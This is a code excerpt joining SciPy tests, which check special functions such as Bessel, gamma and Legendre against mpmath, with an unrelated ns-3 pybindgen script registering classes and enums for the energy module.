test_gammainc(self): # Larger arguments are tested in test_data.py:test_local assert_mpmath_equal(sc.gammainc, lambda z, b: mpmath.gammainc(z, b=b, regularized=True), [Arg(0, 1e4, inclusive_a=False), Arg(0, 1e4)], nan_ok=False, rtol=1e-11) def test_gammaincc(self): # Larger arguments are tested in test_data.py:test_local assert_mpmath_equal(sc.gammaincc, lambda z, a: mpmath.gammainc(z, a=a, regularized=True), [Arg(0, 1e4, inclusive_a=False), Arg(0, 1e4)], nan_ok=False, rtol=1e-11) def test_gammaln(self): # The real part of loggamma is log(|gamma(z)|). def f(z): return mpmath.loggamma(z).real assert_mpmath_equal(sc.gammaln, exception_to_nan(f), [Arg()]) @pytest.mark.xfail(run=False) def test_gegenbauer(self): assert_mpmath_equal(sc.eval_gegenbauer, exception_to_nan(mpmath.gegenbauer), [Arg(-1e3, 1e3), Arg(), Arg()]) def test_gegenbauer_int(self): # Redefine functions to deal with numerical + mpmath issues def gegenbauer(n, a, x): # Avoid overflow at large `a` (mpmath would need an even larger # dps to handle this correctly, so just skip this region) if abs(a) > 1e100: return np.nan # Deal with n=0, n=1 correctly; mpmath 0.17 doesn't do these # always correctly if n == 0: r = 1.0 elif n == 1: r = 2*a*x else: r = mpmath.gegenbauer(n, a, x) # Mpmath 0.17 gives wrong results (spurious zero) in some cases, so # compute the value by perturbing the result if float(r) == 0 and a < -1 and float(a) == int(float(a)): r = mpmath.gegenbauer(n, a + mpmath.mpf('1e-50'), x) if abs(r) < mpmath.mpf('1e-50'): r = mpmath.mpf('0.0') # Differing overflow thresholds in scipy vs. mpmath if abs(r) > 1e270: return np.inf return r def sc_gegenbauer(n, a, x): r = sc.eval_gegenbauer(int(n), a, x) # Differing overflow thresholds in scipy vs. mpmath if abs(r) > 1e270: return np.inf return r assert_mpmath_equal(sc_gegenbauer, exception_to_nan(gegenbauer), [IntArg(0, 100), Arg(-1e9, 1e9), Arg()], n=40000, dps=100, ignore_inf_sign=True, rtol=1e-6) # Check the small-x expansion assert_mpmath_equal(sc_gegenbauer, exception_to_nan(gegenbauer), [IntArg(0, 100), Arg(), FixedArg(np.logspace(-30, -4, 30))], dps=100, ignore_inf_sign=True) @pytest.mark.xfail(run=False) def test_gegenbauer_complex(self): assert_mpmath_equal(lambda n, a, x: sc.eval_gegenbauer(int(n), a.real, x), exception_to_nan(mpmath.gegenbauer), [IntArg(0, 100), Arg(), ComplexArg()]) @nonfunctional_tooslow def test_gegenbauer_complex_general(self): assert_mpmath_equal(lambda n, a, x: sc.eval_gegenbauer(n.real, a.real, x), exception_to_nan(mpmath.gegenbauer), [Arg(-1e3, 1e3), Arg(), ComplexArg()]) def test_hankel1(self): assert_mpmath_equal(sc.hankel1, exception_to_nan(lambda v, x: mpmath.hankel1(v, x, **HYPERKW)), [Arg(-1e20, 1e20), Arg()]) def test_hankel2(self): assert_mpmath_equal(sc.hankel2, exception_to_nan(lambda v, x: mpmath.hankel2(v, x, **HYPERKW)), [Arg(-1e20, 1e20), Arg()]) @pytest.mark.xfail(run=False, reason="issues at intermediately large orders") def test_hermite(self): assert_mpmath_equal(lambda n, x: sc.eval_hermite(int(n), x), exception_to_nan(mpmath.hermite), [IntArg(0, 10000), Arg()]) # hurwitz: same as zeta def test_hyp0f1(self): # mpmath reports no convergence unless maxterms is large enough KW = dict(maxprec=400, maxterms=1500) # n=500 (non-xslow default) fails for one bad point assert_mpmath_equal(sc.hyp0f1, lambda a, x: mpmath.hyp0f1(a, x, **KW), [Arg(-1e7, 1e7), Arg(0, 1e5)], n=5000) # NB: The range of the second parameter ("z") is limited from below # because of an overflow in the intermediate calculations. The way # for fix it is to implement an asymptotic expansion for Bessel J # (similar to what is implemented for Bessel I here). def test_hyp0f1_complex(self): assert_mpmath_equal(lambda a, z: sc.hyp0f1(a.real, z), exception_to_nan(lambda a, x: mpmath.hyp0f1(a, x, **HYPERKW)), [Arg(-10, 10), ComplexArg(complex(-120, -120), complex(120, 120))]) # NB: The range of the first parameter ("v") are limited by an overflow # in the intermediate calculations. Can be fixed by implementing an # asymptotic expansion for Bessel functions for large order. @pytest.mark.xfail(run=False) def test_hyp1f1(self): assert_mpmath_equal(inf_to_nan(sc.hyp1f1), exception_to_nan(lambda a, b, x: mpmath.hyp1f1(a, b, x, **HYPERKW)), [Arg(-1e5, 1e5), Arg(-1e5, 1e5), Arg()], n=2000) @pytest.mark.xfail(run=False) def test_hyp1f1_complex(self): assert_mpmath_equal(inf_to_nan(lambda a, b, x: sc.hyp1f1(a.real, b.real, x)), exception_to_nan(lambda a, b, x: mpmath.hyp1f1(a, b, x, **HYPERKW)), [Arg(-1e3, 1e3), Arg(-1e3, 1e3), ComplexArg()], n=2000) @nonfunctional_tooslow def test_hyp2f1_complex(self): # Scipy's hyp2f1 seems to have performance and accuracy problems assert_mpmath_equal(lambda a, b, c, x: sc.hyp2f1(a.real, b.real, c.real, x), exception_to_nan(lambda a, b, c, x: mpmath.hyp2f1(a, b, c, x, **HYPERKW)), [Arg(-1e2, 1e2), Arg(-1e2, 1e2), Arg(-1e2, 1e2), ComplexArg()], n=10) @pytest.mark.xfail(run=False) def test_hyperu(self): assert_mpmath_equal(sc.hyperu, exception_to_nan(lambda a, b, x: mpmath.hyperu(a, b, x, **HYPERKW)), [Arg(), Arg(), Arg()]) @pytest.mark.xfail(condition=_is_32bit_platform, reason="mpmath issue gh-342: unsupported operand mpz, long for pow") def test_igam_fac(self): def mp_igam_fac(a, x): return mpmath.power(x, a)*mpmath.exp(-x)/mpmath.gamma(a) assert_mpmath_equal(_igam_fac, mp_igam_fac, [Arg(0, 1e14, inclusive_a=False), Arg(0, 1e14)], rtol=1e-10) def test_j0(self): # The Bessel function at large arguments is j0(x) ~ cos(x + phi)/sqrt(x) # and at large arguments the phase of the cosine loses precision. # # This is numerically expected behavior, so we compare only up to # 1e8 = 1e15 * 1e-7 assert_mpmath_equal(sc.j0, mpmath.j0, [Arg(-1e3, 1e3)]) assert_mpmath_equal(sc.j0, mpmath.j0, [Arg(-1e8, 1e8)], rtol=1e-5) def test_j1(self): # See comment in test_j0 assert_mpmath_equal(sc.j1, mpmath.j1, [Arg(-1e3, 1e3)]) assert_mpmath_equal(sc.j1, mpmath.j1, [Arg(-1e8, 1e8)], rtol=1e-5) @pytest.mark.xfail(run=False) def test_jacobi(self): assert_mpmath_equal(sc.eval_jacobi, exception_to_nan(lambda a, b, c, x: mpmath.jacobi(a, b, c, x, **HYPERKW)), [Arg(), Arg(), Arg(), Arg()]) assert_mpmath_equal(lambda n, b, c, x: sc.eval_jacobi(int(n), b, c, x), exception_to_nan(lambda a, b, c, x: mpmath.jacobi(a, b, c, x, **HYPERKW)), [IntArg(), Arg(), Arg(), Arg()]) def test_jacobi_int(self): # Redefine functions to deal with numerical + mpmath issues def jacobi(n, a, b, x): # Mpmath does not handle n=0 case always correctly if n == 0: return 1.0 return mpmath.jacobi(n, a, b, x) assert_mpmath_equal(lambda n, a, b, x: sc.eval_jacobi(int(n), a, b, x), lambda n, a, b, x: exception_to_nan(jacobi)(n, a, b, x, **HYPERKW), [IntArg(), Arg(), Arg(), Arg()], n=20000, dps=50) def test_kei(self): def kei(x): if x == 0: # work around mpmath issue at x=0 return -pi/4 return exception_to_nan(mpmath.kei)(0, x, **HYPERKW) assert_mpmath_equal(sc.kei, kei, [Arg(-1e30, 1e30)], n=1000) def test_ker(self): assert_mpmath_equal(sc.ker, exception_to_nan(lambda x: mpmath.ker(0, x, **HYPERKW)), [Arg(-1e30, 1e30)], n=1000) @nonfunctional_tooslow def test_laguerre(self): assert_mpmath_equal(trace_args(sc.eval_laguerre), lambda n, x: exception_to_nan(mpmath.laguerre)(n, x, **HYPERKW), [Arg(), Arg()]) def test_laguerre_int(self): assert_mpmath_equal(lambda n, x: sc.eval_laguerre(int(n), x), lambda n, x: exception_to_nan(mpmath.laguerre)(n, x, **HYPERKW), [IntArg(), Arg()], n=20000) @pytest.mark.xfail(condition=_is_32bit_platform, reason="see gh-3551 for bad points") def test_lambertw_real(self): assert_mpmath_equal(lambda x, k: sc.lambertw(x, int(k.real)), lambda x, k: mpmath.lambertw(x, int(k.real)), [ComplexArg(-np.inf, np.inf), IntArg(0, 10)], rtol=1e-13, nan_ok=False) def test_lanczos_sum_expg_scaled(self): maxgamma = 171.624376956302725 e = np.exp(1) g = 6.024680040776729583740234375 def gamma(x): with np.errstate(over='ignore'): fac = ((x + g - 0.5)/e)**(x - 0.5) if fac != np.inf: res = fac*_lanczos_sum_expg_scaled(x) else: fac = ((x + g - 0.5)/e)**(0.5*(x - 0.5)) res = fac*_lanczos_sum_expg_scaled(x) res *= fac return res assert_mpmath_equal(gamma, mpmath.gamma, [Arg(0, maxgamma, inclusive_a=False)], rtol=1e-13) @nonfunctional_tooslow def test_legendre(self): assert_mpmath_equal(sc.eval_legendre, mpmath.legendre, [Arg(), Arg()]) def test_legendre_int(self): assert_mpmath_equal(lambda n, x: sc.eval_legendre(int(n), x), lambda n, x: exception_to_nan(mpmath.legendre)(n, x, **HYPERKW), [IntArg(), Arg()], n=20000) # Check the small-x expansion assert_mpmath_equal(lambda n, x: sc.eval_legendre(int(n), x), lambda n, x: exception_to_nan(mpmath.legendre)(n, x, **HYPERKW), [IntArg(), FixedArg(np.logspace(-30, -4, 20))]) def test_legenp(self): def lpnm(n, m, z): try: v = sc.lpmn(m, n, z)[0][-1,-1] except ValueError: return np.nan if abs(v) > 1e306: # harmonize overflow to inf v = np.inf * np.sign(v.real) return v def lpnm_2(n, m, z): v = sc.lpmv(m, n, z) if abs(v) > 1e306: # harmonize overflow to inf v = np.inf * np.sign(v.real) return v def legenp(n, m, z): if (z == 1 or z == -1) and int(n) == n: # Special case (mpmath may give inf, we take the limit by # continuity) if m == 0: if n < 0: n = -n - 1 return mpmath.power(mpmath.sign(z), n) else: return 0 if abs(z) < 1e-15: # mpmath has bad performance here return np.nan typ = 2 if abs(z) < 1 else 3 v = exception_to_nan(mpmath.legenp)(n, m, z, type=typ) if abs(v) > 1e306: # harmonize overflow to inf v = mpmath.inf * mpmath.sign(v.real) return v assert_mpmath_equal(lpnm, legenp, [IntArg(-100, 100), IntArg(-100, 100), Arg()]) assert_mpmath_equal(lpnm_2, legenp, [IntArg(-100, 100), Arg(-100, 100), Arg(-1, 1)], atol=1e-10) def test_legenp_complex_2(self): def clpnm(n, m, z): try: return sc.clpmn(m.real, n.real, z, type=2)[0][-1,-1] except ValueError: return np.nan def legenp(n, m, z): if abs(z) < 1e-15: # mpmath has bad performance here return np.nan return exception_to_nan(mpmath.legenp)(int(n.real), int(m.real), z, type=2) # mpmath is quite slow here x = np.array([-2, -0.99, -0.5, 0, 1e-5, 0.5, 0.99, 20, 2e3]) y = np.array([-1e3, -0.5, 0.5, 1.3]) z = (x[:,None] + 1j*y[None,:]).ravel() assert_mpmath_equal(clpnm, legenp, [FixedArg([-2, -1, 0, 1, 2, 10]), FixedArg([-2, -1, 0, 1, 2, 10]), FixedArg(z)], rtol=1e-6, n=500) def test_legenp_complex_3(self): def clpnm(n, m, z): try: return sc.clpmn(m.real, n.real, z, type=3)[0][-1,-1] except ValueError: return np.nan def legenp(n, m, z): if abs(z) < 1e-15: # mpmath has bad performance here return np.nan return exception_to_nan(mpmath.legenp)(int(n.real), int(m.real), z, type=3) # mpmath is quite slow here x = np.array([-2, -0.99, -0.5, 0, 1e-5, 0.5, 0.99, 20, 2e3]) y = np.array([-1e3, -0.5, 0.5, 1.3]) z = (x[:,None] + 1j*y[None,:]).ravel() assert_mpmath_equal(clpnm, legenp, [FixedArg([-2, -1, 0, 1, 2, 10]), FixedArg([-2, -1, 0, 1, 2, 10]), FixedArg(z)], rtol=1e-6, n=500) @pytest.mark.xfail(run=False, reason="apparently picks wrong function at |z| > 1") def test_legenq(self): def lqnm(n, m, z): return sc.lqmn(m, n, z)[0][-1,-1] def legenq(n, m, z): if abs(z) < 1e-15: # mpmath has bad performance here return np.nan return exception_to_nan(mpmath.legenq)(n, m, z, type=2) assert_mpmath_equal(lqnm, legenq, [IntArg(0, 100), IntArg(0, 100), Arg()]) @nonfunctional_tooslow def test_legenq_complex(self): def lqnm(n, m, z): return sc.lqmn(int(m.real), int(n.real), z)[0][-1,-1] def legenq(n, m, z): if abs(z) < 1e-15: # mpmath has bad performance here return np.nan return exception_to_nan(mpmath.legenq)(int(n.real), int(m.real), z, type=2) assert_mpmath_equal(lqnm, legenq, [IntArg(0, 100), IntArg(0, 100), ComplexArg()], n=100) def test_lgam1p(self): def param_filter(x): # Filter the poles return np.where((np.floor(x) == x) & (x <= 0), False, True) def mp_lgam1p(z): # The real part of loggamma is log(|gamma(z)|) return mpmath.loggamma(1 + z).real assert_mpmath_equal(_lgam1p, mp_lgam1p, [Arg()], rtol=1e-13, dps=100, param_filter=param_filter) def test_loggamma(self): def mpmath_loggamma(z): try: res = mpmath.loggamma(z) except ValueError: res = complex(np.nan, np.nan) return res assert_mpmath_equal(sc.loggamma, mpmath_loggamma, [ComplexArg()], nan_ok=False, distinguish_nan_and_inf=False, rtol=5e-14) @pytest.mark.xfail(run=False) def test_pcfd(self): def pcfd(v, x): return sc.pbdv(v, x)[0] assert_mpmath_equal(pcfd, exception_to_nan(lambda v, x: mpmath.pcfd(v, x, **HYPERKW)), [Arg(), Arg()]) @pytest.mark.xfail(run=False, reason="it's not the same as the mpmath function --- maybe different definition?") def test_pcfv(self): def pcfv(v, x): return sc.pbvv(v, x)[0] assert_mpmath_equal(pcfv, lambda v, x: time_limited()(exception_to_nan(mpmath.pcfv))(v, x, **HYPERKW), [Arg(), Arg()], n=1000) def test_pcfw(self): def pcfw(a, x): return sc.pbwa(a, x)[0] def dpcfw(a, x): return sc.pbwa(a, x)[1] def mpmath_dpcfw(a, x): return mpmath.diff(mpmath.pcfw, (a, x), (0, 1)) # The Zhang and Jin implementation only uses Taylor series and # is thus accurate in only a very small range. assert_mpmath_equal(pcfw, mpmath.pcfw, [Arg(-5, 5), Arg(-5, 5)], rtol=2e-8, n=100) assert_mpmath_equal(dpcfw, mpmath_dpcfw, [Arg(-5, 5), Arg(-5, 5)], rtol=2e-9, n=100) @pytest.mark.xfail(run=False, reason="issues at large arguments (atol OK, rtol not) and <eps-close to z=0") def test_polygamma(self): assert_mpmath_equal(sc.polygamma, time_limited()(exception_to_nan(mpmath.polygamma)), [IntArg(0, 1000), Arg()]) def test_rgamma(self): def rgamma(x): if x < -8000: return np.inf else: v = mpmath.rgamma(x) return v # n=500 (non-xslow default) fails for one bad point assert_mpmath_equal(sc.rgamma, rgamma, [Arg()], n=5000, ignore_inf_sign=True) def test_rgamma_complex(self): assert_mpmath_equal(sc.rgamma, exception_to_nan(mpmath.rgamma), [ComplexArg()], rtol=5e-13) @pytest.mark.xfail(reason=("see gh-3551 for bad points on 32 bit " "systems and gh-8095 for another bad " "point")) def test_rf(self): if LooseVersion(mpmath.__version__) >= LooseVersion("1.0.0"): # no workarounds needed mppoch = mpmath.rf else: def mppoch(a, m): # deal with cases where the result in double precision # hits exactly a non-positive integer, but the # corresponding extended-precision mpf floats don't if float(a + m) == int(a + m) and float(a + m) <= 0: a = mpmath.mpf(a) m = int(a + m) - a return mpmath.rf(a, m) assert_mpmath_equal(sc.poch, mppoch, [Arg(), Arg()], dps=400) def test_sinpi(self): eps = np.finfo(float).eps assert_mpmath_equal(_sinpi, mpmath.sinpi, [Arg()], nan_ok=False, rtol=eps) def test_sinpi_complex(self): assert_mpmath_equal(_sinpi, mpmath.sinpi, [ComplexArg()], nan_ok=False, rtol=2e-14) def test_shi(self): def shi(x): return sc.shichi(x)[0] assert_mpmath_equal(shi, mpmath.shi, [Arg()]) # check asymptotic series cross-over assert_mpmath_equal(shi, mpmath.shi, [FixedArg([88 - 1e-9, 88, 88 + 1e-9])]) def test_shi_complex(self): def shi(z): return sc.shichi(z)[0] # shi oscillates as Im[z] -> +- inf, so limit range assert_mpmath_equal(shi, mpmath.shi, [ComplexArg(complex(-np.inf, -1e8), complex(np.inf, 1e8))], rtol=1e-12) def test_si(self): def si(x): return sc.sici(x)[0] assert_mpmath_equal(si, mpmath.si, [Arg()]) def test_si_complex(self): def si(z): return sc.sici(z)[0] # si oscillates as Re[z] -> +- inf, so limit range assert_mpmath_equal(si, mpmath.si, [ComplexArg(complex(-1e8, -np.inf), complex(1e8, np.inf))], rtol=1e-12) def test_spence(self): # mpmath uses a different convention for the dilogarithm def dilog(x): return mpmath.polylog(2, 1 - x) # Spence has a branch cut on the negative real axis assert_mpmath_equal(sc.spence, exception_to_nan(dilog), [Arg(0, np.inf)], rtol=1e-14) def test_spence_complex(self): def dilog(z): return mpmath.polylog(2, 1 - z) assert_mpmath_equal(sc.spence, exception_to_nan(dilog), [ComplexArg()], rtol=1e-14) def test_spherharm(self): def spherharm(l, m, theta, phi): if m > l: return np.nan return sc.sph_harm(m, l, phi, theta) assert_mpmath_equal(spherharm, mpmath.spherharm, [IntArg(0, 100), IntArg(0, 100), Arg(a=0, b=pi), Arg(a=0, b=2*pi)], atol=1e-8, n=6000, dps=150) def test_struveh(self): assert_mpmath_equal(sc.struve, exception_to_nan(mpmath.struveh), [Arg(-1e4, 1e4), Arg(0, 1e4)], rtol=5e-10) def test_struvel(self): def mp_struvel(v, z): if v < 0 and z < -v and abs(v) > 1000: # larger DPS needed for correct results old_dps = mpmath.mp.dps try: mpmath.mp.dps = 300 return mpmath.struvel(v, z) finally: mpmath.mp.dps = old_dps return mpmath.struvel(v, z) assert_mpmath_equal(sc.modstruve, exception_to_nan(mp_struvel), [Arg(-1e4, 1e4), Arg(0, 1e4)], rtol=5e-10, ignore_inf_sign=True) def test_wrightomega(self): assert_mpmath_equal(sc.wrightomega, lambda z: _mpmath_wrightomega(z, 25), [ComplexArg()], rtol=1e-14, nan_ok=False) def test_zeta(self): assert_mpmath_equal(sc.zeta, exception_to_nan(mpmath.zeta), [Arg(a=1, b=1e10, inclusive_a=False), Arg(a=0, inclusive_a=False)]) def test_zetac(self): assert_mpmath_equal(sc.zetac, lambda x: mpmath.zeta(x) - 1, [Arg(-100, 100)], nan_ok=False, dps=45, rtol=1e-13) def test_boxcox(self): def mp_boxcox(x, lmbda): x = mpmath.mp.mpf(x) lmbda = mpmath.mp.mpf(lmbda) if lmbda == 0: return mpmath.mp.log(x) else: return mpmath.mp.powm1(x, lmbda) / lmbda assert_mpmath_equal(sc.boxcox, exception_to_nan(mp_boxcox), [Arg(a=0, inclusive_a=False), Arg()], n=200, dps=60, rtol=1e-13) def test_boxcox1p(self): def mp_boxcox1p(x, lmbda): x = mpmath.mp.mpf(x) lmbda = mpmath.mp.mpf(lmbda) one = mpmath.mp.mpf(1) if lmbda == 0: return mpmath.mp.log(one + x) else: return mpmath.mp.powm1(one + x, lmbda) / lmbda assert_mpmath_equal(sc.boxcox1p, exception_to_nan(mp_boxcox1p), [Arg(a=-1, inclusive_a=False), Arg()], n=200, dps=60, rtol=1e-13) def test_spherical_jn(self): def mp_spherical_jn(n, z): arg = mpmath.mpmathify(z) out = (mpmath.besselj(n + mpmath.mpf(1)/2, arg) / mpmath.sqrt(2*arg/mpmath.pi)) if arg.imag == 0: return out.real else: return out assert_mpmath_equal(lambda n, z: sc.spherical_jn(int(n), z), exception_to_nan(mp_spherical_jn), [IntArg(0, 200), Arg(-1e8, 1e8)], dps=300) def test_spherical_jn_complex(self): def mp_spherical_jn(n, z): arg = mpmath.mpmathify(z) out = (mpmath.besselj(n + mpmath.mpf(1)/2, arg) / mpmath.sqrt(2*arg/mpmath.pi)) if arg.imag == 0: return out.real else: return out assert_mpmath_equal(lambda n, z: sc.spherical_jn(int(n.real), z), exception_to_nan(mp_spherical_jn), [IntArg(0, 200), ComplexArg()]) def test_spherical_yn(self): def mp_spherical_yn(n, z): arg = mpmath.mpmathify(z) out = (mpmath.bessely(n + mpmath.mpf(1)/2, arg) / mpmath.sqrt(2*arg/mpmath.pi)) if arg.imag == 0: return out.real else: return out assert_mpmath_equal(lambda n, z: sc.spherical_yn(int(n), z), exception_to_nan(mp_spherical_yn), [IntArg(0, 200), Arg(-1e10, 1e10)], dps=100) def test_spherical_yn_complex(self): def mp_spherical_yn(n, z): arg = mpmath.mpmathify(z) out = (mpmath.bessely(n + mpmath.mpf(1)/2, arg) / mpmath.sqrt(2*arg/mpmath.pi)) if arg.imag == 0: return out.real else: return out assert_mpmath_equal(lambda n, z: sc.spherical_yn(int(n.real), z), exception_to_nan(mp_spherical_yn), [IntArg(0, 200), ComplexArg()]) def test_spherical_in(self): def mp_spherical_in(n, z): arg = mpmath.mpmathify(z) out = (mpmath.besseli(n + mpmath.mpf(1)/2, arg) / mpmath.sqrt(2*arg/mpmath.pi)) if arg.imag == 0: return out.real else: return out assert_mpmath_equal(lambda n, z: sc.spherical_in(int(n), z), exception_to_nan(mp_spherical_in), [IntArg(0, 200), Arg()], dps=200, atol=10**(-278)) def test_spherical_in_complex(self): def mp_spherical_in(n, z): arg = mpmath.mpmathify(z) out = (mpmath.besseli(n + mpmath.mpf(1)/2, arg) / mpmath.sqrt(2*arg/mpmath.pi)) if arg.imag == 0: return out.real else: return out assert_mpmath_equal(lambda n, z: sc.spherical_in(int(n.real), z), exception_to_nan(mp_spherical_in), [IntArg(0, 200), ComplexArg()]) def test_spherical_kn(self): def mp_spherical_kn(n, z): out = (mpmath.besselk(n + mpmath.mpf(1)/2, z) * mpmath.sqrt(mpmath.pi/(2*mpmath.mpmathify(z)))) if mpmath.mpmathify(z).imag == 0: return out.real else: return out assert_mpmath_equal(lambda n, z: sc.spherical_kn(int(n), z), exception_to_nan(mp_spherical_kn), [IntArg(0, 150), Arg()], dps=100) @pytest.mark.xfail(run=False, reason="Accuracy issues near z = -1 inherited from kv.") def test_spherical_kn_complex(self): def mp_spherical_kn(n, z): arg = mpmath.mpmathify(z) out = (mpmath.besselk(n + mpmath.mpf(1)/2, arg) / mpmath.sqrt(2*arg/mpmath.pi)) if arg.imag == 0: return out.real else: return out assert_mpmath_equal(lambda n, z: sc.spherical_kn(int(n.real), z), exception_to_nan(mp_spherical_kn), [IntArg(0, 200), ComplexArg()], dps=200)
codeparrot/github-code-clean
from pybindgen import Module, FileCodeSink, param, retval, cppclass, typehandlers import pybindgen.settings import warnings class ErrorHandler(pybindgen.settings.ErrorHandler): def handle_error(self, wrapper, exception, traceback_): warnings.warn("exception %r in wrapper %s" % (exception, wrapper)) return True pybindgen.settings.error_handler = ErrorHandler() import sys def module_init(): root_module = Module('ns.energy', cpp_namespace='::ns3') return root_module def register_types(module): root_module = module.get_root() ## wifi-mode.h (module 'wifi'): ns3::WifiCodeRate [enumeration] module.add_enum('WifiCodeRate', ['WIFI_CODE_RATE_UNDEFINED', 'WIFI_CODE_RATE_3_4', 'WIFI_CODE_RATE_2_3', 'WIFI_CODE_RATE_1_2', 'WIFI_CODE_RATE_5_6'], import_from_module='ns.wifi') ## wifi-preamble.h (module 'wifi'): ns3::WifiPreamble [enumeration] module.add_enum('WifiPreamble', ['WIFI_PREAMBLE_LONG', 'WIFI_PREAMBLE_SHORT', 'WIFI_PREAMBLE_HT_MF', 'WIFI_PREAMBLE_HT_GF'], import_from_module='ns.wifi') ## wifi-phy-standard.h (module 'wifi'): ns3::WifiPhyStandard [enumeration] module.add_enum('WifiPhyStandard', ['WIFI_PHY_STANDARD_80211a', 'WIFI_PHY_STANDARD_80211b', 'WIFI_PHY_STANDARD_80211g', 'WIFI_PHY_STANDARD_80211_10MHZ', 'WIFI_PHY_STANDARD_80211_5MHZ', 'WIFI_PHY_STANDARD_holland', 'WIFI_PHY_STANDARD_80211n_2_4GHZ', 'WIFI_PHY_STANDARD_80211n_5GHZ'], import_from_module='ns.wifi') ## wifi-mode.h (module 'wifi'): ns3::WifiModulationClass [enumeration] module.add_enum('WifiModulationClass', ['WIFI_MOD_CLASS_UNKNOWN', 'WIFI_MOD_CLASS_IR', 'WIFI_MOD_CLASS_FHSS', 'WIFI_MOD_CLASS_DSSS', 'WIFI_MOD_CLASS_ERP_PBCC', 'WIFI_MOD_CLASS_DSSS_OFDM', 'WIFI_MOD_CLASS_ERP_OFDM', 'WIFI_MOD_CLASS_OFDM', 'WIFI_MOD_CLASS_HT'], import_from_module='ns.wifi') ## address.h (module 'network'): ns3::Address [class] module.add_class('Address', import_from_module='ns.network') ## address.h (module 'network'): ns3::Address::MaxSize_e [enumeration] module.add_enum('MaxSize_e', ['MAX_SIZE'], outer_class=root_module['ns3::Address'], import_from_module='ns.network') ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList [class] module.add_class('AttributeConstructionList', import_from_module='ns.core') ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item [struct] module.add_class('Item', import_from_module='ns.core', outer_class=root_module['ns3::AttributeConstructionList']) ## buffer.h (module 'network'): ns3::Buffer [class] module.add_class('Buffer', import_from_module='ns.network') ## buffer.h (module 'network'): ns3::Buffer::Iterator [class] module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::Buffer']) ## packet.h (module 'network'): ns3::ByteTagIterator [class] module.add_class('ByteTagIterator', import_from_module='ns.network') ## packet.h (module 'network'): ns3::ByteTagIterator::Item [class] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagIterator']) ## byte-tag-list.h (module 'network'): ns3::ByteTagList [class] module.add_class('ByteTagList', import_from_module='ns.network') ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator [class] module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList']) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item [struct] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList::Iterator']) ## callback.h (module 'core'): ns3::CallbackBase [class] module.add_class('CallbackBase', import_from_module='ns.core') ## device-energy-model-container.h (module 'energy'): ns3::DeviceEnergyModelContainer [class] module.add_class('DeviceEnergyModelContainer') ## energy-model-helper.h (module 'energy'): ns3::DeviceEnergyModelHelper [class] module.add_class('DeviceEnergyModelHelper', allow_subclassing=True) ## energy-model-helper.h (module 'energy'): ns3::EnergySourceHelper [class] module.add_class('EnergySourceHelper', allow_subclassing=True) ## event-id.h (module 'core'): ns3::EventId [class] module.add_class('EventId', import_from_module='ns.core') ## hash.h (module 'core'): ns3::Hasher [class] module.add_class('Hasher', import_from_module='ns.core') ## ipv4-address.h (module 'network'): ns3::Ipv4Address [class] module.add_class('Ipv4Address', import_from_module='ns.network') ## ipv4-address.h (module 'network'): ns3::Ipv4Address [class] root_module['ns3::Ipv4Address'].implicitly_converts_to(root_module['ns3::Address']) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask [class] module.add_class('Ipv4Mask', import_from_module='ns.network') ## ipv6-address.h (module 'network'): ns3::Ipv6Address [class] module.add_class('Ipv6Address', import_from_module='ns.network') ## ipv6-address.h (module 'network'): ns3::Ipv6Address [class] root_module['ns3::Ipv6Address'].implicitly_converts_to(root_module['ns3::Address']) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix [class] module.add_class('Ipv6Prefix', import_from_module='ns.network') ## net-device-container.h (module 'network'): ns3::NetDeviceContainer [class] module.add_class('NetDeviceContainer', import_from_module='ns.network') ## node-container.h (module 'network'): ns3::NodeContainer [class] module.add_class('NodeContainer', import_from_module='ns.network') ## object-base.h (module 'core'): ns3::ObjectBase [class] module.add_class('ObjectBase', allow_subclassing=True, import_from_module='ns.core') ## object.h (module 'core'): ns3::ObjectDeleter [struct] module.add_class('ObjectDeleter', import_from_module='ns.core') ## object-factory.h (module 'core'): ns3::ObjectFactory [class] module.add_class('ObjectFactory', import_from_module='ns.core') ## packet-metadata.h (module 'network'): ns3::PacketMetadata [class] module.add_class('PacketMetadata', import_from_module='ns.network') ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [struct] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata']) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [enumeration] module.add_enum('', ['PAYLOAD', 'HEADER', 'TRAILER'], outer_class=root_module['ns3::PacketMetadata::Item'], import_from_module='ns.network') ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator [class] module.add_class('ItemIterator', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata']) ## packet.h (module 'network'): ns3::PacketTagIterator [class] module.add_class('PacketTagIterator', import_from_module='ns.network') ## packet.h (module 'network'): ns3::PacketTagIterator::Item [class] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagIterator']) ## packet-tag-list.h (module 'network'): ns3::PacketTagList [class] module.add_class('PacketTagList', import_from_module='ns.network') ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData [struct] module.add_class('TagData', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagList']) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::TagData_e [enumeration] module.add_enum('TagData_e', ['MAX_SIZE'], outer_class=root_module['ns3::PacketTagList::TagData'], import_from_module='ns.network') ## rv-battery-model-helper.h (module 'energy'): ns3::RvBatteryModelHelper [class] module.add_class('RvBatteryModelHelper', parent=root_module['ns3::EnergySourceHelper']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter> [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Object', 'ns3::ObjectBase', 'ns3::ObjectDeleter'], parent=root_module['ns3::ObjectBase'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## tag.h (module 'network'): ns3::Tag [class] module.add_class('Tag', import_from_module='ns.network', parent=root_module['ns3::ObjectBase']) 